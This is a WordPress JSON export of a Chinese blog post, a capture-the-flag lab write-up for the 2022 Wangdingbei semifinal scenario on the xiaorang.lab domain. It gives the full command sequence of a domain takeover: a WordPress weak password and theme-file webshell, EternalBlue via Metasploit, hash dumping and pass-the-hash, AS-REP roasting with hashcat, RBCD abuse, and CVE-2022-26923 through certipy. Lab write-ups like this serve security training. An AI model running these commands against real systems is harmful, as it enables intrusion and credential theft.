{"id":1000,"date":"2025-03-01T16:20:00","date_gmt":"2025-03-01T08:20:00","guid":{"rendered":"http:\/\/www.s1mh0.cn\/blog\/?p=1000"},"modified":"2025-04-21T11:10:32","modified_gmt":"2025-04-21T03:10:32","slug":"cqyj_2022wdb","status":"publish","type":"post","link":"https:\/\/www.s1mh0.cn\/blog\/index.php\/2025\/03\/01\/cqyj_2022wdb\/","title":{"rendered":"\u6625\u79cb\u4e91\u5883-2022\u7f51\u9f0e\u676f\u534a\u51b3\u8d5b"},"content":{"rendered":"<h2>2022\u7f51\u9f0e\u676f\u534a\u51b3\u8d5b<\/h2>\n<p>\u6d89\u53ca\u7684\u77e5\u8bc6\u70b9<\/p>\n<pre><code class=\"language-text\">WordPress\u5f31\u53e3\u4ee4\n\u6c38\u6052\u4e4b\u84dd\nAS-REP Roasting\nGenericWrite\u6743\u9650\u5229\u7528\u6253RBCD\nActive Directory\u57df\u6743\u9650\u63d0\u5347\u6f0f\u6d1e\uff08CVE-2022-26923\uff09<\/code><\/pre>\n<h3>flag1<\/h3>\n<p>fscan\u53ea\u626b\u5230\u4e2aweb\u670d\u52a1\uff0c\u8bbf\u95ee\u53d1\u73b0\u662fwordpress<\/p>\n<pre><code class=\"language-text\">start infoscan\n39.98.115.162:22 open\n39.98.115.162:80 open\n[*] alive ports len is: 2\nstart vulscan\n[*] WebTitle http:\/\/39.98.115.162      code:200 len:39988  title:XIAORANG.LAB<\/code><\/pre>\n<p>\u8001\u6837\u5b50\u518d\u62ffwpscan\u626b\u4e00\u4e0b\uff0c\u6ca1\u6709\u80fd\u5229\u7528\u7684\u63d2\u4ef6<\/p>\n<pre><code class=\"language-text\">wpscan --url http:\/\/39.98.115.162<\/code><\/pre>\n<h4>WordPress\u5f31\u53e3\u4ee4<\/h4>\n<p>\u5f31\u5bc6\u7801<code>admin\/123456<\/code>\u8fdb\u5165\u540e\u53f0\uff0c\u53bb<code>\u5916\u89c2\u2014\u2014\u4e3b\u9898\u6587\u4ef6\u4fee\u6539<\/code>\u90a3\u91cc\uff0c\u9009\u4e00\u4e2a\u80fd\u8bbf\u95ee\u5230\u7684php\u6a21\u677f\u6587\u4ef6\uff0c\u63d2\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_1.png\" alt=\"2022wdb_1\" \/><\/p>\n<p>\u901a\u8fc7<code>\/wp-content\/themes\/&lt;\u4e3b\u9898\u540d\u79f0&gt;\/&lt;xxx.php&gt;<\/code>\u8bbf\u95ee\u6a21\u677f\u6587\u4ef6<\/p>\n<pre><code class=\"language-text\">http:\/\/39.98.115.162\/wp-content\/themes\/twentytwentyone\/404.php<\/code><\/pre>\n<p>\u53cd\u5411\u4e00\u53e5\u8bdd\u4e0a\u7ebf\uff0c\u6839\u76ee\u5f55\u62ff\u5230\u7b2c\u4e00\u4e2aflag<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_2.png\" alt=\"2022wdb_2\" \/><\/p>\n<h3>flag2<\/h3>\n<p>\u642d\u4ee3\u7406\uff0c\u626b\u5185\u7f51<\/p>\n<pre><code class=\"language-text\">(icmp) Target 172.22.15.26    is alive\n(icmp) Target 172.22.15.24    is alive\n(icmp) Target 172.22.15.35    is alive\n(icmp) Target 172.22.15.18    is alive\n(icmp) Target 172.22.15.13    is alive\n[*] Icmp alive hosts len is: 5\n172.22.15.35:135 open\n172.22.15.26:22 open\n172.22.15.24:3306 open\n172.22.15.24:135 open\n172.22.15.35:445 open\n172.22.15.13:445 open\n172.22.15.18:445 open\n172.22.15.24:445 open\n172.22.15.18:139 open\n172.22.15.13:139 open\n172.22.15.35:139 open\n172.22.15.13:135 open\n172.22.15.18:135 open\n172.22.15.24:139 open\n172.22.15.24:80 open\n172.22.15.18:80 open\n172.22.15.13:88 open\n172.22.15.26:80 open\n[*] alive ports len is: 18\nstart vulscan\n[*] NetInfo \n[*]172.22.15.24\n   [-&gt;]XR-WIN08\n   [-&gt;]172.22.15.24\n[*] NetInfo \n[*]172.22.15.35\n   [-&gt;]XR-0687\n   [-&gt;]172.22.15.35\n[*] NetInfo \n[*]172.22.15.18\n   [-&gt;]XR-CA\n   [-&gt;]172.22.15.18\n[*] NetInfo \n[*]172.22.15.13\n   [-&gt;]XR-DC01\n   [-&gt;]172.22.15.13\n[*] NetBios 172.22.15.35    XIAORANG\\XR-0687              \n[*] OsInfo 172.22.15.13 (Windows Server 2016 Standard 14393)\n[*] NetBios 172.22.15.13    [+] DC:XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393\n[+] MS17-010 172.22.15.24       (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)\n[*] NetBios 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393\n[*] NetBios 172.22.15.24    WORKGROUP\\XR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1\n[*] WebTitle http:\/\/172.22.15.26       code:200 len:39962  title:XIAORANG.LAB\n[*] WebTitle http:\/\/172.22.15.18       code:200 len:703    title:IIS Windows Server\n[*] WebTitle http:\/\/172.22.15.24       code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/172.22.15.24\/www\n[+] PocScan http:\/\/172.22.15.18 poc-yaml-active-directory-certsrv-detect \n[*] WebTitle http:\/\/172.22.15.24\/www\/sys\/index.php code:200 len:135    title:None\n\u5df2\u5b8c\u6210 18\/18\n[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: 13.734234391s<\/code><\/pre>\n<p>\u770b\u5230<code>172.22.15.24<\/code>\u80fd\u6253MS17-010<\/p>\n<h4>\u6c38\u6052\u4e4b\u84dd<\/h4>\n<p>msf\u4e00\u5957\u6d41\u7a0b\u8d70\u4e0b\u6765<\/p>\n<pre><code class=\"language-text\">vim \/etc\/proxychains4.conf\nproxychains4 -q msfconsole\n\nuse exploit\/windows\/smb\/ms17_010_eternalblue\nset payload windows\/x64\/meterpreter\/bind_tcp_uuid\nset RHOSTS 172.22.15.24\nexploit\n\nload kiwi\ncreds_all\uff08\u57df\u51ed\u636e\uff09\nhashdump\uff08\u672c\u5730\u51ed\u636e\uff09<\/code><\/pre>\n<p>\u5148dump\u672c\u5730\u51ed\u636e<\/p>\n<pre><code class=\"language-text\">meterpreter &gt; hashdump\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<\/code><\/pre>\n<p>\u62ff\u5230administrator\u7684hash\uff0cPTH\u4e0a\u53bb\u52a0\u7ba1\u7406\u5458\u8d26\u6237<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-smbexec -hashes :0e52d03e9b939997401466a0ec5a9cbc administrator@172.22.15.24 -codec gbk<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_3.png\" alt=\"2022wdb_3\" \/><\/p>\n<p>RDP\u62ff\u7b2c\u4e8c\u4e2aflag<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_4.png\" alt=\"2022wdb_4\" \/><\/p>\n<h3>flag3<\/h3>\n<p>\u53d1\u73b0\u684c\u9762\u8fd8\u6709\u4e2a\u5c0f\u76ae\uff0c\u91cc\u9762\u80fd\u770b\u5230\u4e24\u7ec4mysql\u6570\u636e\u5e93\u8d26\u5bc6<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_5.png\" alt=\"2022wdb_5\" \/><\/p>\n<pre><code class=\"language-text\">root\/root@#123\nzdoo\/zdoo123<\/code><\/pre>\n<p>\u626b\u76ee\u5f55\u80fd\u770b\u5230\u6709phpMyAdmin\u670d\u52a1<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_6.png\" alt=\"2022wdb_6\" \/><\/p>\n<p>root\u767b\u5f55\uff0c\u5728zdoo\u6570\u636e\u5e93\u7684zdoosys_user\u8868\u770b\u5230\u4e00\u5806\u57df\u7528\u6237<\/p>\n<pre><code class=\"language-text\">http:\/\/172.22.15.24\/phpMyadmin\/sql.php?db=zdoo&amp;token=3867619c62830d9f5a10c9ec85417ac0&amp;table=zdoosys_user&amp;pos=0<\/code><\/pre>\n<p>\u5bfc\u51fa\u6210.csv<\/p>\n<pre><code class=\"language-text\">lixiuying@xiaorang.lab\nlixiaoliang@xiaorang.lab\nzhangyi@xiaorang.lab\njiaxiaoliang@xiaorang.lab\nzhangli@xiaorang.lab\nzhangwei@xiaorang.lab\nliuqiang@xiaorang.lab\nwangfang@xiaorang.lab\nwangwei@xiaorang.lab\nwanglihong@xiaorang.lab\nhuachunmei@xiaorang.lab\nwanghao@xiaorang.lab\nzhangxinyu@xiaorang.lab\nhuzhigang@xiaorang.lab\nlihongxia@xiaorang.lab\nwangyulan@xiaorang.lab\nchenjianhua@xiaorang.lab<\/code><\/pre>\n<h4>AS-REP Roasting<\/h4>\n<p>AS-REP Roasting\u653b\u51fb\uff0c\u8001\u670b\u53cb\u4e86<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-GetNPUsers -dc-ip 172.22.15.13  xiaorang.lab\/ -usersfile wdb_users.txt<\/code><\/pre>\n<pre><code class=\"language-text\">$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:e21b63bee3caf9d1dd8c5e270dbc486c$67acc4afc2509f0487726469e3883e3bb7ae23f39cc0e141397508e71b959a293877bb6a5a03dfdebcc8b8f50b95845f38338220e77eab88c688270ec56e3a49b8d9ba758ac2c443d207af4091669dee69e73dbc033aa47baecee39958a8caf2d44fc5a3c8947b03a9a5b03015d0a3815a3e8f484df904d237bf81c1a1f73650b51967e184ccd76438105566a60f30796f6ca8e4790e03683eb637a2039ec496200f43aaac5a68cddbca8f6763786f0af7f21bb3b7f6461f5f5176e4402b7d78ac3e1e66c7200208b5eb018210fa7228a3deeb6b42aa37fa11d3153a30d319397dc4fb026b7280e5c6213edf\n$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:e7f7370ba2c593ea2988cb63c069c3c3$5aa830c22ace9dfa808e6c975720b9dd24690e315710dcadbe10865228ec650fc69496eaa550ecb1aa863c32e8f5a0719233be1fcb5a925f6015cdeeccffe6968d7c452352fa7e7fb9c6c8cb737242dcff44ac6f7020a65760b24d12e798b5fe4bfb6e38c960af814e8059760327eaca7daf1d655bd1afcbd4b3c016d84709841b3599a53992a10a5b1d54b3fda65fa673bd59b84462cd089f74cd0c26bd73960f62fac9407f3e8bfdd74fbc641fc6f40afb0225a68b11f329c375d718ca0a23e986ce60817e41f66198eac9c059afaac13bb1f8c93191a3cbede05e50d11a8e89d6721f1a11ec61cb3e072b<\/code><\/pre>\n<p>hashcat\u7206\u4e00\u4e0b<\/p>\n<pre><code class=\"language-text\">hashcat -a 0 -m 18200 --force aaa.txt rockyou.txt <\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_7.png\" alt=\"2022wdb_7\" \/><\/p>\n<pre><code class=\"language-text\">lixiuying:winniethepooh\nhuachunmei:1qaz2wsx<\/code><\/pre>\n<p>\u968f\u4fbf\u6311\u4e2a\u7528\u6237RDP\u767b\u5f55\u5230<code>172.22.15.35<\/code>\u4e3b\u673a<\/p>\n<pre><code class=\"language-text\">lixiuying@xiaorang.lab<\/code><\/pre>\n<p>sharphound\u6536\u96c6\u4e00\u4e0b\uff0c\u53d1\u73b0<code>lixiuying<\/code>\u5bf9<code>XR-0687<\/code>\u673a\u5668\u6709GenericWrite\u6743\u9650\uff08\u7ffb\u4e86\u534a\u5929\uff09<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_8.png\" alt=\"2022wdb_8\" \/><\/p>\n<h4>GenericWrite\u6743\u9650\u5229\u7528\u6253RBCD<\/h4>\n<p>\u521b\u5efa\u53d7\u63a7\u8ba1\u7b97\u673a\u8d26\u6237\uff0c\u540e\u7eed\u901a\u8fc7\u8be5\u8d26\u6237\u914d\u7f6e\u59d4\u6d3e\u6743\u9650<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-addcomputer -computer-name &#039;simho$&#039; -computer-pass &#039;whoami@123&#039; -dc-host XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 &quot;xiaorang.lab\/lixiuying:winniethepooh&quot;<\/code><\/pre>\n<p>\u914d\u7f6e RBCD \u59d4\u6d3e\u5173\u7cfb\uff0c\u5141\u8bb8 <code>simho$<\/code> \u6a21\u62df <code>XR-0687$<\/code> \u4e0a\u7684\u4efb\u610f\u7528\u6237\uff08\u5982\u57df\u7ba1\u7406\u5458\uff09\uff0c\u4ece\u800c\u83b7\u53d6\u9ad8\u6743\u9650\u7968\u636e<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-rbcd &quot;xiaorang.lab\/lixiuying:winniethepooh&quot; -action write -delegate-from &quot;simho$&quot; -delegate-to &quot;XR-0687$&quot; -dc-ip 172.22.15.13<\/code><\/pre>\n<p>\u4f7f\u7528 <code>impacket-getST<\/code> \u901a\u8fc7 S4U2Self \u548c S4U2Proxy \u534f\u8bae\uff0c\u4ee5 <code>simho$<\/code> \u7684\u8eab\u4efd\u8bf7\u6c42 <code>Administrator<\/code> \u7528\u6237\u7684 Kerberos \u670d\u52a1\u7968\u636e\uff08TGS\uff09\uff08\u8fd9\u91ccldap\u7533\u8bf7\u4e0d\u4e86\uff0c\u53ea\u80fd\u7533\u8bf7cifs<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-getST xiaorang.lab\/simho$:&#039;whoami@123&#039; -dc-ip 172.22.15.13 -spn ldap\/XR-0687.xiaorang.lab -impersonate Administrator\n\nproxychains4 -q impacket-getST xiaorang.lab\/simho$:&#039;whoami@123&#039; -dc-ip 172.22.15.13 -spn cifs\/XR-0687.xiaorang.lab -impersonate Administrator<\/code><\/pre>\n<p>\u8bbe\u7f6e Kerberos \u7968\u636e\u7f13\u5b58<\/p>\n<pre><code class=\"language-text\">export KRB5CCNAME=Administrator.ccache<\/code><\/pre>\n<p>\u5229\u7528\u7968\u636e\u6a2a\u5411\u79fb\u52a8\u5230<code>XR-0687<\/code>\u673a\u5668\uff0c\u62ff\u7b2c\u4e09\u4e2aflag<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-psexec &#039;xiaorang.lab\/administrator@XR-0687.xiaorang.lab&#039; -target-ip 172.22.15.35 -codec gbk -no-pass -k<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_9.png\" alt=\"2022wdb_9\" \/><\/p>\n<h3>flag4<\/h3>\n<p>\u524d\u9762fscan\u626b\u5230<code>172.22.15.18<\/code>\u6709AD CS\uff0c\u7528certipy\u6536\u96c6AD CS\u8bc1\u4e66\u6a21\u5757\u4fe1\u606f<\/p>\n<pre><code class=\"language-text\">proxychains4 -q certipy find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vulnerable -stdout<\/code><\/pre>\n<pre><code class=\"language-text\">Certipy v4.8.2 - by Oliver Lyak (ly4k)\n\n[*] Finding certificate templates\n[*] Found 34 certificate templates\n[*] Finding certificate authorities\n[*] Found 1 certificate authority\n[*] Found 12 enabled certificate templates\n[*] Trying to get CA configuration for &#039;xiaorang-XR-CA-CA&#039; via CSRA\n[!] Got error while trying to get CA configuration for &#039;xiaorang-XR-CA-CA&#039; via CSRA: Could not connect: [Errno 111] Connection refused\n[*] Trying to get CA configuration for &#039;xiaorang-XR-CA-CA&#039; via RRP\n[!] Got error while trying to get CA configuration for &#039;xiaorang-XR-CA-CA&#039; via RRP: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused\n[!] Failed to get CA configuration for &#039;xiaorang-XR-CA-CA&#039;\n[*] Enumeration output:\nCertificate Authorities\n  0\n    CA Name                             : xiaorang-XR-CA-CA\n    DNS Name                            : XR-CA.xiaorang.lab\n    Certificate Subject                 : CN=xiaorang-XR-CA-CA, DC=xiaorang, DC=lab\n    Certificate Serial Number           : 3ECFB0112E93BE9041059FA6DBB3C35A\n    Certificate Validity Start          : 2023-06-03 07:19:59+00:00\n    Certificate Validity End            : 2028-06-03 07:29:58+00:00\n    Web Enrollment                      : Disabled\n    User Specified SAN                  : Unknown\n    Request Disposition                 : Unknown\n    Enforce Encryption for Requests     : Unknown\nCertificate Templates                   : [!] Could not find any certificate templates<\/code><\/pre>\n<p>certipy\u6ca1\u626b\u5230\u80fd\u5229\u7528\u7684\u8bc1\u4e66\u6a21\u677f\uff0c\u6839\u636eX1r0z\u5e08\u5085\u7684\u8bf4\u6cd5\uff0c\u5982\u679c\u80fd\u5229\u7528certipy\u521b\u5efa\u673a\u5668\u8d26\u6237\u8bf4\u660e\u5b58\u5728CVE-2022-26923<\/p>\n<pre><code class=\"language-text\">proxychains4 -q certipy account create -user &#039;simho2$&#039; -pass &#039;whoami@123&#039; -dc-ip 172.22.15.13  -dns XR-DC01.xiaorang.lab -u lixiuying@xiaorang.lab -p winniethepooh -debug<\/code><\/pre>\n<h4>CVE-2022-26923<\/h4>\n<p>\u63a5\u7740\u5229\u7528\u8be5\u673a\u5668\u7528\u6237\u4ee5\u53ca\u524d\u9762certify\u6536\u96c6\u7684<code>CA name<\/code>\u83b7\u53d6pfx\u51ed\u8bc1<\/p>\n<pre><code class=\"language-text\">proxychains4 -q certipy req -u &#039;simho2$@xiaorang.lab&#039; -p &#039;whoami@123&#039; -ca &#039;xiaorang-XR-CA-CA&#039; -target 172.22.15.18 -template Machine<\/code><\/pre>\n<p>\u5229\u7528\u8bc1\u4e66\u83b7\u53d6\u57df\u63a7hash\u65f6\uff0c\u8ddfCertify\u90a3\u4e2a\u9776\u573a\u62a5\u4e00\u6837\u7684\u9519\u2014\u2014<code>KDC_ERR_PADATA_TYPE_NOSUPP<\/code><\/p>\n<pre><code class=\"language-text\">proxychains4 -q certipy auth -pfx &#039;xr-dc01.pfx&#039; -dc-ip 172.22.15.18 -debug<\/code><\/pre>\n<p>\u6309\u7167<code>Schannel<\/code>\u6b65\u9aa4\u6765\uff0c\u4ece.pfx\u5206\u522b\u5bfc\u51fa.key\u6587\u4ef6\u548c.crt\u6587\u4ef6\uff0c\u5e76\u5c06\u5bc6\u7801\u7f6e\u7a7a<\/p>\n<pre><code class=\"language-text\">openssl pkcs12 -in xr-dc01.pfx -nodes -out xr-dc01.pem\nopenssl rsa -in xr-dc01.pem -out xr-dc01.key\nopenssl x509 -in xr-dc01.pem -out xr-dc01.crt\nproxychains4 certipy cert -pfx xr-dc01.pfx -nokey -out xr-dc01.crt\nproxychains4 certipy cert -pfx xr-dc01.pfx -nocert -out xr-dc01.key <\/code><\/pre>\n<p>\u63a5\u4e0b\u6765\u7528<code>passthecert<\/code>\u6253RBCD\u653b\u51fb\uff0c\u5c06\u8bc1\u4e66\u4f20\u9012\u5230 LDAP\uff0c\u4fee\u6539 LDAP \u914d\u7f6e\u4ece\u800c\u83b7\u5f97\u57df\u63a7\u6743\u9650<\/p>\n<pre><code class=\"language-text\">proxychains4 -q python3 passthecert.py -action whoami -crt xr-dc01.crt -key xr-dc01.key -domain xiaorang.lab -dc-ip 172.22.15.13<\/code><\/pre>\n<p>\u5c06\u8bc1\u4e66\u914d\u7f6e\u5230\u57df\u63a7\u7684<code>RBCD<\/code><\/p>\n<pre><code class=\"language-text\">proxychains4 -q python3 passthecert.py -action write_rbcd -crt xr-dc01.crt -key xr-dc01.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to &#039;xr-dc01$&#039; -delegate-from &#039;simho2$&#039;<\/code><\/pre>\n<p>\u7533\u8bf7CIFS\u670d\u52a1\u7968\u636e<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-getST xiaorang.lab\/&#039;simho2$&#039;:&#039;whoami@123&#039; -spn cifs\/xr-dc01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13<\/code><\/pre>\n<p>\u5bfc\u5165\u7968\u636e<\/p>\n<pre><code class=\"language-text\">export KRB5CCNAME=AdministratorDC.ccache<\/code><\/pre>\n<p>\u4fee\u6539hosts<\/p>\n<pre><code class=\"language-text\">172.22.15.13 xr-dc01.xiaorang.lab<\/code><\/pre>\n<p>\u4e4b\u540e\u5373\u53ef\u65e0\u5bc6\u7801\u767b\u5f55<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-psexec Administrator@xr-dc01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13<\/code><\/pre>\n<pre><code class=\"language-text\">type C:\\Users\\Administrator\\flag\\flag04.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/2022wdb_10.png\" alt=\"2022wdb_10\" \/><\/p>\n<div class=\"clearfix\"><\/div>","protected":false},"excerpt":{"rendered":"<p>2022\u7f51\u9f0e\u676f\u534a\u51b3\u8d5b \u6d89\u53ca\u7684\u77e5\u8bc6\u70b9 WordPress\u5f31\u53e3\u4ee4 \u6c38\u6052\u4e4b\u84dd AS-REP Roasting Gen [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-1000","post","type-post","status-publish","format-standard","hentry","category-pentesting"],"views":471,"_links":{"self":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/1000","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=1000"}],"version-history":[{"count":1,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/1000\/revisions"}],"predecessor-version":[{"id":1001,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/1000\/revisions\/1001"}],"wp:attachment":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=1000"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=1000"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=1000"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}